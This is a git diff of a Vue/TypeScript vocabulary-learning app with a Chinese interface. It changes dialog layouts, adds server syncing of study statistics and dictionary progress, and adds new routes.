// 监听 model 弹窗打开时重新计算
|
||||
watch(model, (newVal) => {
|
||||
watch(model, async (newVal) => {
|
||||
if (newVal) {
|
||||
dictIsEnd = false;
|
||||
let data: Statistics = {
|
||||
@@ -82,6 +84,19 @@ watch(model, (newVal) => {
|
||||
}
|
||||
}
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await addStat({
|
||||
...data,
|
||||
type: 'word',
|
||||
perDayStudyNumber: store.sdict.perDayStudyNumber,
|
||||
lastLearnIndex: store.sdict.lastLearnIndex,
|
||||
complete: store.sdict.complete,
|
||||
})
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
|
||||
store.sdict.statistics.push(data as any)
|
||||
calcWeekList(); // 新增:计算本周学习记录
|
||||
}
|
||||
@@ -134,11 +149,11 @@ calcWeekList(); // 新增:计算本周学习记录
|
||||
|
||||
<template>
|
||||
<Dialog
|
||||
v-model="model"
|
||||
:close-on-click-bg="false"
|
||||
:header="false"
|
||||
:keyboard="false"
|
||||
:show-close="false">
|
||||
v-model="model"
|
||||
:close-on-click-bg="false"
|
||||
:header="false"
|
||||
:keyboard="false"
|
||||
:show-close="false">
|
||||
<div class="p-8 pr-3 bg-[var(--bg-card-primary)] rounded-2xl space-y-6">
|
||||
<!-- Header Section -->
|
||||
<div class="text-center relative">
|
||||
|
||||
@@ -37,7 +37,7 @@ import ShufflePracticeSettingDialog from "@/pages/word/components/ShufflePractic
|
||||
const store = useBaseStore()
|
||||
const settingStore = useSettingStore()
|
||||
const router = useRouter()
|
||||
const {nav} = useNav()
|
||||
const { nav } = useNav()
|
||||
const runtimeStore = useRuntimeStore()
|
||||
let loading = $ref(true)
|
||||
let isSaveData = $ref(false)
|
||||
@@ -79,11 +79,11 @@ watch(() => store.load, n => {
|
||||
if (settingStore.first && !r && !isMobile()) tour.start();
|
||||
}, 500)
|
||||
}
|
||||
}, {immediate: true})
|
||||
}, { immediate: true })
|
||||
|
||||
async function init() {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await myDictList({type: "word"})
|
||||
let res = await myDictList({ type: "word" })
|
||||
if (res.success) {
|
||||
store.setState(Object.assign(store.$state, res.data))
|
||||
}
|
||||
@@ -126,7 +126,7 @@ function startPractice() {
|
||||
})
|
||||
//把是否是第一次设置为false
|
||||
settingStore.first = false
|
||||
nav('practice-words/' + store.sdict.id, {}, {taskWords: currentStudy})
|
||||
nav('practice-words/' + store.sdict.id, {}, { taskWords: currentStudy })
|
||||
} else {
|
||||
window.umami?.track('no-dict')
|
||||
Toast.warning('请先选择一本词典')
|
||||
@@ -249,11 +249,9 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
<div class="flex-1 w-full flex flex-col justify-between">
|
||||
<div class="flex gap-3">
|
||||
<div class="p-1 center rounded-full bg-white">
|
||||
<IconFluentBookNumber20Filled class="text-xl color-link"/>
|
||||
<IconFluentBookNumber20Filled class="text-xl color-link" />
|
||||
</div>
|
||||
<div
|
||||
@click="goDictDetail(store.sdict)"
|
||||
class="text-2xl font-bold cursor-pointer">
|
||||
<div @click="goDictDetail(store.sdict)" class="text-2xl font-bold cursor-pointer">
|
||||
{{ store.sdict.name || '当前无正在学习的词典' }}
|
||||
</div>
|
||||
</div>
|
||||
@@ -265,29 +263,22 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
<div class="text-sm flex justify-between">
|
||||
<span>已完成 {{ progressTextRight }} 词 / 共 {{ store.sdict.words.length }} 词</span>
|
||||
<span v-if="store.sdict.id">
|
||||
预计完成日期:{{ _getAccomplishDate(store.sdict.words.length, store.sdict.perDayStudyNumber) }}
|
||||
</span>
|
||||
预计完成日期:{{ _getAccomplishDate(store.sdict.words.length, store.sdict.perDayStudyNumber) }}
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex items-center mt-4 gap-4">
|
||||
<BaseButton type="info"
|
||||
size="small"
|
||||
@click="router.push('/dict-list')">
|
||||
<BaseButton type="info" size="small" @click="router.push('/dict-list')">
|
||||
<div class="center gap-1">
|
||||
<IconFluentArrowSwap20Regular/>
|
||||
<IconFluentArrowSwap20Regular />
|
||||
<span>选择词典</span>
|
||||
</div>
|
||||
</BaseButton>
|
||||
<PopConfirm
|
||||
:disabled="!isSaveData"
|
||||
title="当前存在未完成的学习任务,修改会重新生成学习任务,是否继续?"
|
||||
@confirm="check(()=>showChangeLastPracticeIndexDialog = true)">
|
||||
<BaseButton type="info"
|
||||
size="small"
|
||||
v-if="store.sdict.id"
|
||||
>
|
||||
<PopConfirm :disabled="!isSaveData" title="当前存在未完成的学习任务,修改会重新生成学习任务,是否继续?"
|
||||
@confirm="check(() => showChangeLastPracticeIndexDialog = true)">
|
||||
<BaseButton type="info" size="small" v-if="store.sdict.id">
|
||||
<div class="center gap-1">
|
||||
<IconFluentSlideTextTitleEdit20Regular/>
|
||||
<IconFluentSlideTextTitleEdit20Regular />
|
||||
<span>更改进度</span>
|
||||
</div>
|
||||
</BaseButton>
|
||||
@@ -299,7 +290,7 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
<div class="title">请选择一本词典开始学习</div>
|
||||
<BaseButton id="step1" type="primary" size="large" @click="router.push('/dict-list')">
|
||||
<div class="center gap-1">
|
||||
<IconFluentAdd16Regular/>
|
||||
<IconFluentAdd16Regular />
|
||||
<span>选择词典</span>
|
||||
</div>
|
||||
</BaseButton>
|
||||
@@ -310,31 +301,24 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
<div class="flex justify-between">
|
||||
<div class="flex items-center gap-2">
|
||||
<div class="p-2 center rounded-full bg-white ">
|
||||
<IconFluentStar20Filled class="text-lg color-amber"/>
|
||||
<IconFluentStar20Filled class="text-lg color-amber" />
|
||||
</div>
|
||||
<div class="text-xl font-bold">
|
||||
{{ isSaveData ? '上次任务' : '今日任务' }}
|
||||
</div>
|
||||
<span class="color-link cursor-pointer"
|
||||
v-if="store.sdict.id"
|
||||
@click="showPracticeWordListDialog = true">词表</span>
|
||||
<span class="color-link cursor-pointer" v-if="store.sdict.id"
|
||||
@click="showPracticeWordListDialog = true">词表</span>
|
||||
|
||||
</div>
|
||||
<div class="flex gap-1 items-center"
|
||||
v-if="store.sdict.id"
|
||||
>
|
||||
<div class="flex gap-1 items-center" v-if="store.sdict.id">
|
||||
每日目标
|
||||
<div style="color:#ac6ed1;"
|
||||
class="bg-third px-2 h-10 flex center text-2xl rounded">
|
||||
<div style="color:#ac6ed1;" class="bg-third px-2 h-10 flex center text-2xl rounded">
|
||||
{{ store.sdict.id ? store.sdict.perDayStudyNumber : 0 }}
|
||||
</div>
|
||||
个单词
|
||||
<PopConfirm
|
||||
:disabled="!isSaveData"
|
||||
title="当前存在未完成的学习任务,修改会重新生成学习任务,是否继续?"
|
||||
@confirm="check(()=>showPracticeSettingDialog = true)">
|
||||
<BaseButton
|
||||
type="info" size="small">更改
|
||||
<PopConfirm :disabled="!isSaveData" title="当前存在未完成的学习任务,修改会重新生成学习任务,是否继续?"
|
||||
@confirm="check(() => showPracticeSettingDialog = true)">
|
||||
<BaseButton type="info" size="small">更改
|
||||
</BaseButton>
|
||||
</PopConfirm>
|
||||
</div>
|
||||
@@ -356,57 +340,44 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
</template>
|
||||
</div>
|
||||
<div class="flex items-end mt-4">
|
||||
<BaseButton size="large"
|
||||
class="flex-1"
|
||||
:disabled="!store.sdict.id"
|
||||
:loading="loading"
|
||||
@click="startPractice">
|
||||
<BaseButton size="large" class="flex-1" :disabled="!store.sdict.id" :loading="loading" @click="startPractice">
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="line-height-[2]">{{ isSaveData ? '继续学习' : '开始学习' }}</span>
|
||||
<IconFluentArrowCircleRight16Regular class="text-xl"/>
|
||||
<IconFluentArrowCircleRight16Regular class="text-xl" />
|
||||
</div>
|
||||
</BaseButton>
|
||||
|
||||
<div
|
||||
v-if="false"
|
||||
class="w-full flex box-border cp color-white">
|
||||
<div
|
||||
@click="startPractice"
|
||||
class="flex-1 rounded-l-lg center gap-2 py-1 bg-[var(--btn-primary)] hover:opacity-50">
|
||||
<div v-if="false" class="w-full flex box-border cp color-white">
|
||||
<div @click="startPractice"
|
||||
class="flex-1 rounded-l-lg center gap-2 py-1 bg-[var(--btn-primary)] hover:opacity-50">
|
||||
<span class="line-height-[2]">{{ isSaveData ? '继续学习' : '开始学习' }}</span>
|
||||
<IconFluentArrowCircleRight16Regular class="text-xl"/>
|
||||
<IconFluentArrowCircleRight16Regular class="text-xl" />
|
||||
</div>
|
||||
|
||||
<div class="relative group">
|
||||
<div
|
||||
class="w-10 rounded-r-lg h-full center bg-[var(--btn-primary)] hover:bg-gray border-solid border-2 border-l-gray border-transparent box-border">
|
||||
<IconFluentChevronDown20Regular/>
|
||||
class="w-10 rounded-r-lg h-full center bg-[var(--btn-primary)] hover:bg-gray border-solid border-2 border-l-gray border-transparent box-border">
|
||||
<IconFluentChevronDown20Regular />
|
||||
</div>
|
||||
|
||||
<div
|
||||
class="space-y-2 pt-2 absolute z-2 right-0 border rounded opacity-0 scale-95
|
||||
<div class="space-y-2 pt-2 absolute z-2 right-0 border rounded opacity-0 scale-95
|
||||
group-hover:opacity-100 group-hover:scale-100
|
||||
transition-all duration-150 pointer-events-none group-hover:pointer-events-auto"
|
||||
>
|
||||
transition-all duration-150 pointer-events-none group-hover:pointer-events-auto">
|
||||
<div>
|
||||
<BaseButton
|
||||
size="large" type="orange"
|
||||
:loading="loading"
|
||||
@click="check(()=>showShufflePracticeSettingDialog = true)">
|
||||
<BaseButton size="large" type="orange" :loading="loading"
|
||||
@click="check(() => showShufflePracticeSettingDialog = true)">
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="line-height-[2]">随机复习</span>
|
||||
<IconFluentArrowShuffle20Filled class="text-xl"/>
|
||||
<IconFluentArrowShuffle20Filled class="text-xl" />
|
||||
</div>
|
||||
</BaseButton>
|
||||
</div>
|
||||
<div>
|
||||
<BaseButton
|
||||
size="large" type="orange"
|
||||
:loading="loading"
|
||||
@click="check(()=>showShufflePracticeSettingDialog = true)">
|
||||
<BaseButton size="large" type="orange" :loading="loading"
|
||||
@click="check(() => showShufflePracticeSettingDialog = true)">
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="line-height-[2]">重新学习</span>
|
||||
<IconFluentArrowShuffle20Filled class="text-xl"/>
|
||||
<IconFluentArrowShuffle20Filled class="text-xl" />
|
||||
</div>
|
||||
</BaseButton>
|
||||
</div>
|
||||
@@ -414,14 +385,11 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<BaseButton
|
||||
v-if="store.sdict.id && store.sdict.lastLearnIndex"
|
||||
size="large" type="orange"
|
||||
:loading="loading"
|
||||
@click="check(()=>showShufflePracticeSettingDialog = true)">
|
||||
<BaseButton v-if="store.sdict.id && store.sdict.lastLearnIndex" size="large" type="orange" :loading="loading"
|
||||
@click="check(() => showShufflePracticeSettingDialog = true)">
|
||||
<div class="flex items-center gap-2">
|
||||
<span class="line-height-[2]">随机复习</span>
|
||||
<IconFluentArrowShuffle20Filled class="text-xl"/>
|
||||
<IconFluentArrowShuffle20Filled class="text-xl" />
|
||||
</div>
|
||||
</BaseButton>
|
||||
</div>
|
||||
@@ -434,26 +402,21 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
<div class="flex gap-4 items-center">
|
||||
<PopConfirm title="确认删除所有选中词典?" @confirm="handleBatchDel" v-if="selectIds.length">
|
||||
<BaseIcon class="del" title="删除">
|
||||
<DeleteIcon/>
|
||||
<DeleteIcon />
|
||||
</BaseIcon>
|
||||
</PopConfirm>
|
||||
|
||||
<div class="color-link cursor-pointer" v-if="store.word.bookList.length > 3"
|
||||
@click="isManageDict = !isManageDict; selectIds = []">{{ isManageDict ? '取消' : '管理词典' }}
|
||||
@click="isManageDict = !isManageDict; selectIds = []">{{ isManageDict ? '取消' : '管理词典' }}
|
||||
</div>
|
||||
<div class="color-link cursor-pointer" @click="nav('dict-detail', { isAdd: true })">创建个人词典</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex gap-4 flex-wrap mt-4">
|
||||
<Book :is-add="false"
|
||||
quantifier="个词"
|
||||
:item="item"
|
||||
:checked="selectIds.includes(item.id)"
|
||||
@check="() => toggleSelect(item)"
|
||||
:show-checkbox="isManageDict && j >= 3"
|
||||
v-for="(item, j) in store.word.bookList"
|
||||
@click="goDictDetail(item)"/>
|
||||
<Book :is-add="true" @click="router.push('/dict-list')"/>
|
||||
<Book :is-add="false" quantifier="个词" :item="item" :checked="selectIds.includes(item.id)"
|
||||
@check="() => toggleSelect(item)" :show-checkbox="isManageDict && j >= 3"
|
||||
v-for="(item, j) in store.word.bookList" @click="goDictDetail(item)" />
|
||||
<Book :is-add="true" @click="router.push('/dict-list')" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -466,32 +429,19 @@ let isNewHost = $ref(window.location.host === Host)
|
||||
</div>
|
||||
|
||||
<div class="flex gap-4 flex-wrap mt-4 min-h-50">
|
||||
<Book :is-add="false"
|
||||
quantifier="个词"
|
||||
:item="item as any"
|
||||
v-for="(item, j) in recommendDictList" @click="goDictDetail(item as any)"/>
|
||||
<Book :is-add="false" quantifier="个词" :item="item as any" v-for="(item, j) in recommendDictList"
|
||||
@click="goDictDetail(item as any)" />
|
||||
</div>
|
||||
</div>
|
||||
</BasePage>
|
||||
|
||||
<PracticeSettingDialog
|
||||
:show-left-option="false"
|
||||
v-model="showPracticeSettingDialog"
|
||||
@ok="savePracticeSetting"/>
|
||||
<PracticeSettingDialog :show-left-option="false" v-model="showPracticeSettingDialog" @ok="savePracticeSetting" />
|
||||
|
||||
<ChangeLastPracticeIndexDialog
|
||||
v-model="showChangeLastPracticeIndexDialog"
|
||||
@ok="saveLastPracticeIndex"
|
||||
/>
|
||||
<ChangeLastPracticeIndexDialog v-model="showChangeLastPracticeIndexDialog" @ok="saveLastPracticeIndex" />
|
||||
|
||||
<PracticeWordListDialog
|
||||
:data="currentStudy"
|
||||
v-model="showPracticeWordListDialog"
|
||||
/>
|
||||
<PracticeWordListDialog :data="currentStudy" v-model="showPracticeWordListDialog" />
|
||||
|
||||
<ShufflePracticeSettingDialog
|
||||
v-model="showShufflePracticeSettingDialog"
|
||||
@ok="onShufflePracticeSettingOk"/>
|
||||
<ShufflePracticeSettingDialog v-model="showShufflePracticeSettingDialog" @ok="onShufflePracticeSettingOk" />
|
||||
|
||||
</template>
|
||||
|
||||
|
||||
@@ -2,15 +2,26 @@
|
||||
|
||||
import BaseTable from "@/components/BaseTable.vue";
|
||||
import WordItem from "@/components/WordItem.vue";
|
||||
import {useBaseStore} from "@/stores/base.ts";
|
||||
import {defineAsyncComponent} from "vue";
|
||||
import { defineAsyncComponent } from "vue";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import { AppEnv } from "@/config/env.ts";
|
||||
|
||||
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
|
||||
|
||||
const model = defineModel()
|
||||
const runtimeStore = useRuntimeStore()
|
||||
|
||||
async function requestList({pageNo, pageSize, searchKey}) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
|
||||
} else {
|
||||
let list = runtimeStore.editDict.words
|
||||
let total = list.length
|
||||
list = list.slice((pageNo - 1) * pageSize, (pageNo - 1) * pageSize + pageSize)
|
||||
return {list, total}
|
||||
}
|
||||
}
|
||||
|
||||
defineEmits<{
|
||||
ok: [number]
|
||||
}>()
|
||||
@@ -18,23 +29,24 @@ defineEmits<{
|
||||
|
||||
<template>
|
||||
<!-- todo 这里显示的时候可以选中并高亮当前index-->
|
||||
<!-- todo 这个组件的分布器,需要直接可跳转指定页面,并显示一页有多少个-->
|
||||
<Dialog v-model="model" title="修改学习进度">
|
||||
<div class="px-4 pb-4 h-80vh w-30rem">
|
||||
<!-- todo 这个组件的分页器,需要直接可跳转指定页面,并显示一页有多少个-->
|
||||
<Dialog v-model="model"
|
||||
padding
|
||||
title="修改学习进度">
|
||||
<div class="py-4 h-80vh ">
|
||||
<BaseTable
|
||||
class="h-full"
|
||||
:list='runtimeStore.editDict.words'
|
||||
:loading='false'
|
||||
:request="requestList"
|
||||
:show-toolbar="false"
|
||||
>
|
||||
<template v-slot="item">
|
||||
<WordItem
|
||||
@click="$emit('ok',item.index)"
|
||||
:item="item.item" :show-translate="false">
|
||||
<template v-slot:prefix>
|
||||
{{ item.index }}
|
||||
</template>
|
||||
</WordItem>
|
||||
@click="$emit('ok',item.index-1)"
|
||||
:item="item.item"
|
||||
:show-translate="false"
|
||||
:index="item.index"
|
||||
:show-option="false"
|
||||
/>
|
||||
</template>
|
||||
</BaseTable>
|
||||
</div>
|
||||
|
||||
@@ -7,7 +7,7 @@ import { PracticeData, ShortcutKey } from "@/types/types.ts";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import Progress from '@/components/base/Progress.vue'
|
||||
import SettingDialog from "@/components/SettingDialog.vue";
|
||||
import SettingDialog from "@/components/setting/SettingDialog.vue";
|
||||
|
||||
const statStore = usePracticeStore()
|
||||
const settingStore = useSettingStore()
|
||||
|
||||
@@ -63,7 +63,9 @@ watch(() => model.value, (n) => {
|
||||
<template>
|
||||
<Dialog
|
||||
v-model="model"
|
||||
title="学习设置" :footer="true"
|
||||
title="学习设置"
|
||||
padding
|
||||
:footer="true"
|
||||
@ok="changePerDayStudyNumber">
|
||||
<div class="target-modal color-main" id="mode">
|
||||
<div class="center">
|
||||
@@ -122,7 +124,7 @@ watch(() => model.value, (n) => {
|
||||
class="mt-1"
|
||||
:max="200" v-model="tempPerDayStudyNumber"/>
|
||||
</div>
|
||||
<div class="mb-6 flex gap-space">
|
||||
<div class="flex gap-space">
|
||||
<span class="shrink-0 w-20">学习进度</span>
|
||||
<div class="flex-1">
|
||||
<Slider :min="0"
|
||||
@@ -156,7 +158,6 @@ watch(() => model.value, (n) => {
|
||||
|
||||
.target-modal {
|
||||
width: 35rem;
|
||||
padding: 0 var(--space);
|
||||
|
||||
:deep(.inner) {
|
||||
font-size: 1.8rem;
|
||||
|
||||
@@ -2,8 +2,8 @@
|
||||
|
||||
import BaseTable from "@/components/BaseTable.vue";
|
||||
import WordItem from "@/components/WordItem.vue";
|
||||
import {defineAsyncComponent} from "vue";
|
||||
import {TaskWords} from "@/types/types.ts";
|
||||
import { defineAsyncComponent } from "vue";
|
||||
import { TaskWords } from "@/types/types.ts";
|
||||
import Checkbox from "@/components/base/checkbox/Checkbox.vue";
|
||||
|
||||
const Dialog = defineAsyncComponent(() => import('@/components/dialog/Dialog.vue'))
|
||||
@@ -18,11 +18,12 @@ let showTranslate = $ref(false)
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<Dialog v-model="model" title="任务">
|
||||
<div class="px-4 pb-4 h-80vh flex gap-4">
|
||||
<Dialog v-model="model" padding title="任务">
|
||||
<div class="pb-4 h-80vh flex gap-4">
|
||||
<div class="h-full flex flex-col gap-2">
|
||||
<div class="flex justify-between items-center">
|
||||
<span class="title">新词 {{data.new.length}}</span>
|
||||
<span class="title">新词 {{data.new.length}} 个</span>
|
||||
<Checkbox v-model="showTranslate">翻译</Checkbox>
|
||||
</div>
|
||||
<BaseTable
|
||||
class="overflow-auto flex-1 w-85"
|
||||
@@ -34,17 +35,16 @@ let showTranslate = $ref(false)
|
||||
<template v-slot="item">
|
||||
<WordItem
|
||||
:item="item.item"
|
||||
:show-translate="showTranslate">
|
||||
<template v-slot:prefix>
|
||||
{{ item.index }}
|
||||
</template>
|
||||
</WordItem>
|
||||
:show-translate="showTranslate"
|
||||
:index="item.index"
|
||||
:show-option="false"
|
||||
/>
|
||||
</template>
|
||||
</BaseTable>
|
||||
</div>
|
||||
<div class="h-full flex flex-col gap-2" v-if="data.review.length">
|
||||
<div class="flex justify-between items-center">
|
||||
<span class="title">复习上次 {{data.review.length}}</span>
|
||||
<span class="title">复习上次 {{data.review.length}} 个</span>
|
||||
</div>
|
||||
<BaseTable
|
||||
class="overflow-auto flex-1 w-85"
|
||||
@@ -56,18 +56,16 @@ let showTranslate = $ref(false)
|
||||
<template v-slot="item">
|
||||
<WordItem
|
||||
:item="item.item"
|
||||
:show-translate="showTranslate">
|
||||
<template v-slot:prefix>
|
||||
{{ item.index }}
|
||||
</template>
|
||||
</WordItem>
|
||||
:show-translate="showTranslate"
|
||||
:index="item.index"
|
||||
:show-option="false"
|
||||
/>
|
||||
</template>
|
||||
</BaseTable>
|
||||
</div>
|
||||
<div class="h-full flex flex-col gap-2" v-if="data.write.length">
|
||||
<div class="flex justify-between items-center">
|
||||
<span class="title">复习之前 {{data.write.length}}</span>
|
||||
<Checkbox v-model="showTranslate">翻译</Checkbox>
|
||||
<span class="title">复习之前 {{data.write.length}} 个</span>
|
||||
</div>
|
||||
<BaseTable
|
||||
class="overflow-auto flex-1 w-85"
|
||||
@@ -79,11 +77,10 @@ let showTranslate = $ref(false)
|
||||
<template v-slot="item">
|
||||
<WordItem
|
||||
:item="item.item"
|
||||
:show-translate="showTranslate">
|
||||
<template v-slot:prefix>
|
||||
{{ item.index }}
|
||||
</template>
|
||||
</WordItem>
|
||||
:show-translate="showTranslate"
|
||||
:index="item.index"
|
||||
:show-option="false"
|
||||
/>
|
||||
</template>
|
||||
</BaseTable>
|
||||
</div>
|
||||
|
||||
@@ -29,14 +29,15 @@ watch(() => model.value, (n) => {
|
||||
<template>
|
||||
<Dialog v-model="model" title="随机复习设置"
|
||||
:footer="true"
|
||||
:padding="true"
|
||||
@ok="emit('ok',num)">
|
||||
<div class="target-modal color-main">
|
||||
<div class="flex gap-4 items-end mb-2">
|
||||
<div class="flex gap-4 items-end mb-2">
|
||||
<span>随机复习:<span class="font-bold">{{ store.sdict.name }}</span></span>
|
||||
<span class="text-3xl mx-2 lh">{{ num }}</span>个单词
|
||||
<span class="text-3xl lh">{{ num }}</span>个单词
|
||||
</div>
|
||||
<div class="flex gap-space">
|
||||
<span class="shrink-0">随机数量</span>
|
||||
<span class="shrink-0">随机数量:</span>
|
||||
<Slider :min="min"
|
||||
:step="10"
|
||||
show-text
|
||||
@@ -52,7 +53,6 @@ watch(() => model.value, (n) => {
|
||||
|
||||
.target-modal {
|
||||
width: 30rem;
|
||||
padding: 0 var(--space);
|
||||
|
||||
.lh {
|
||||
color: rgb(176, 116, 211)
|
||||
|
||||
@@ -15,6 +15,8 @@ import Login from "@/pages/user/login.vue";
|
||||
import User from "@/pages/user/User.vue";
|
||||
import VipIntro from "@/pages/user/VipIntro.vue";
|
||||
import Feedback from "@/pages/feedback.vue";
|
||||
import Qa from "@/pages/qa.vue";
|
||||
import Doc from "@/pages/doc.vue";
|
||||
// import { useAuthStore } from "@/stores/user.ts";
|
||||
|
||||
export const routes: RouteRecordRaw[] = [
|
||||
@@ -44,7 +46,8 @@ export const routes: RouteRecordRaw[] = [
|
||||
|
||||
{path: 'setting', component: Setting},
|
||||
{path: 'feedback', component: Feedback},
|
||||
|
||||
{path: 'qa', component: Qa},
|
||||
{path: 'doc', component: Doc},
|
||||
]
|
||||
},
|
||||
{path: '/batch-edit-article', component: () => import("@/pages/article/BatchEditArticlePage.vue")},
|
||||
|
||||
@@ -34,9 +34,14 @@ export const getDefaultBaseState = (): BaseState => ({
|
||||
load: false,
|
||||
word: {
|
||||
bookList: [
|
||||
getDefaultDict({ id: DictId.wordCollect, name: '收藏' }),
|
||||
getDefaultDict({ id: DictId.wordWrong, name: '错词' }),
|
||||
getDefaultDict({ id: DictId.wordKnown, name: '已掌握', description: '已掌握后的单词不会出现在练习中' }),
|
||||
getDefaultDict({ id: DictId.wordCollect, en_name: DictId.wordCollect, name: '收藏' }),
|
||||
getDefaultDict({ id: DictId.wordWrong, en_name: DictId.wordCollect, name: '错词' }),
|
||||
getDefaultDict({
|
||||
id: DictId.wordKnown,
|
||||
en_name: DictId.wordCollect,
|
||||
name: '已掌握',
|
||||
description: '已掌握后的单词不会出现在练习中'
|
||||
}),
|
||||
],
|
||||
studyIndex: -1,
|
||||
},
|
||||
@@ -121,13 +126,17 @@ export const useBaseStore = defineStore('base', {
|
||||
data.dictListVersion = r.data
|
||||
}
|
||||
}
|
||||
console.log('data', data)
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await myDictList()
|
||||
if (res.success) {
|
||||
//只保留未同步的
|
||||
data.word.bookList = data.word.bookList.filter(v => !v.sync)
|
||||
data.article.bookList = data.article.bookList.filter(v => !v.sync)
|
||||
//这里看看是否要 shallowReactive
|
||||
Object.assign(data, res.data)
|
||||
}
|
||||
}
|
||||
console.log('data', data)
|
||||
this.setState(data)
|
||||
} catch (e) {
|
||||
console.error('读取本地dict数据失败', e)
|
||||
@@ -138,10 +147,14 @@ export const useBaseStore = defineStore('base', {
|
||||
//改变词典
|
||||
async changeDict(val: Dict) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let r = await add2MyDict(val)
|
||||
if (!r.success) {
|
||||
return Toast.error(r.msg)
|
||||
}
|
||||
let r = await add2MyDict({
|
||||
id: val.id,
|
||||
perDayStudyNumber: val.perDayStudyNumber,
|
||||
lastLearnIndex: val.lastLearnIndex,
|
||||
complete: val.complete,
|
||||
})
|
||||
if (!r.success) return Toast.error(r.msg)
|
||||
else val.userDictId = r.data
|
||||
}
|
||||
//把其他的词典的单词数据都删掉,全保存在内存里太卡了
|
||||
this.word.bookList.slice(3).map(v => {
|
||||
@@ -158,6 +171,7 @@ export const useBaseStore = defineStore('base', {
|
||||
this.word.bookList[this.word.studyIndex].words = shallowReactive(val.words)
|
||||
this.word.bookList[this.word.studyIndex].perDayStudyNumber = val.perDayStudyNumber
|
||||
this.word.bookList[this.word.studyIndex].lastLearnIndex = val.lastLearnIndex
|
||||
this.word.bookList[this.word.studyIndex].userDictId = val.userDictId
|
||||
} else {
|
||||
this.word.bookList.push(getDefaultDict(val))
|
||||
this.word.studyIndex = this.word.bookList.length - 1
|
||||
@@ -166,7 +180,12 @@ export const useBaseStore = defineStore('base', {
|
||||
//改变书籍
|
||||
async changeBook(val: Dict) {
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let r = await add2MyDict(val)
|
||||
let r = await add2MyDict({
|
||||
id: val.id,
|
||||
perDayStudyNumber: val.perDayStudyNumber,
|
||||
lastLearnIndex: val.lastLearnIndex,
|
||||
complete: val.complete,
|
||||
})
|
||||
if (!r.success) {
|
||||
return Toast.error(r.msg)
|
||||
}
|
||||
|
||||
@@ -1,40 +1,40 @@
|
||||
export type Word = {
|
||||
id?: string,
|
||||
custom?: boolean,
|
||||
word: string,
|
||||
phonetic0: string,
|
||||
phonetic1: string,
|
||||
trans: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
}[],
|
||||
sentences: {
|
||||
c: string,//content
|
||||
cn: string,
|
||||
}[],
|
||||
phrases: {
|
||||
c: string,
|
||||
cn: string,
|
||||
}[],
|
||||
synos: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
ws: string[]
|
||||
}[],
|
||||
relWords: {
|
||||
root: string,
|
||||
rels: {
|
||||
pos: string,
|
||||
words: {
|
||||
id?: string,
|
||||
custom?: boolean,
|
||||
word: string,
|
||||
phonetic0: string,
|
||||
phonetic1: string,
|
||||
trans: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
}[],
|
||||
sentences: {
|
||||
c: string,//content
|
||||
cn: string,
|
||||
}[],
|
||||
phrases: {
|
||||
c: string,
|
||||
cn: string,
|
||||
}[],
|
||||
}[]
|
||||
},
|
||||
etymology: {
|
||||
t: string,//title
|
||||
d: string,//desc
|
||||
}[],
|
||||
}[],
|
||||
synos: {
|
||||
pos: string,
|
||||
cn: string,
|
||||
ws: string[]
|
||||
}[],
|
||||
relWords: {
|
||||
root: string,
|
||||
rels: {
|
||||
pos: string,
|
||||
words: {
|
||||
c: string,
|
||||
cn: string,
|
||||
}[],
|
||||
}[]
|
||||
},
|
||||
etymology: {
|
||||
t: string,//title
|
||||
d: string,//desc
|
||||
}[],
|
||||
}
|
||||
|
||||
export const PronunciationApi = 'https://dict.youdao.com/dictvoice?audio='
|
||||
@@ -43,209 +43,212 @@ export type TranslateLanguageType = 'en' | 'zh-CN' | 'ja' | 'de' | 'common' | ''
|
||||
export type LanguageType = 'en' | 'ja' | 'de' | 'code'
|
||||
|
||||
export enum DictType {
|
||||
collect = 'collect',
|
||||
simple = 'simple',
|
||||
wrong = 'wrong',
|
||||
known = 'known',
|
||||
word = 'word',
|
||||
article = 'article',
|
||||
collect = 'collect',
|
||||
simple = 'simple',
|
||||
wrong = 'wrong',
|
||||
known = 'known',
|
||||
word = 'word',
|
||||
article = 'article',
|
||||
}
|
||||
|
||||
export interface ArticleWord extends Word {
|
||||
nextSpace: boolean,
|
||||
symbolPosition: 'start' | 'end' | '',
|
||||
input: string
|
||||
type: PracticeArticleWordType
|
||||
nextSpace: boolean,
|
||||
symbolPosition: 'start' | 'end' | '',
|
||||
input: string
|
||||
type: PracticeArticleWordType
|
||||
}
|
||||
|
||||
export interface Sentence {
|
||||
text: string,
|
||||
translate: string,
|
||||
words: ArticleWord[],
|
||||
audioPosition: number[]
|
||||
text: string,
|
||||
translate: string,
|
||||
words: ArticleWord[],
|
||||
audioPosition: number[]
|
||||
}
|
||||
|
||||
export interface Article {
|
||||
id?: number,
|
||||
title: string,
|
||||
titleTranslate: string,
|
||||
text: string,
|
||||
textTranslate: string,
|
||||
newWords: Word[],
|
||||
sections: Sentence[][],
|
||||
audioSrc: string,
|
||||
audioFileId: string,
|
||||
lrcPosition: number[][],
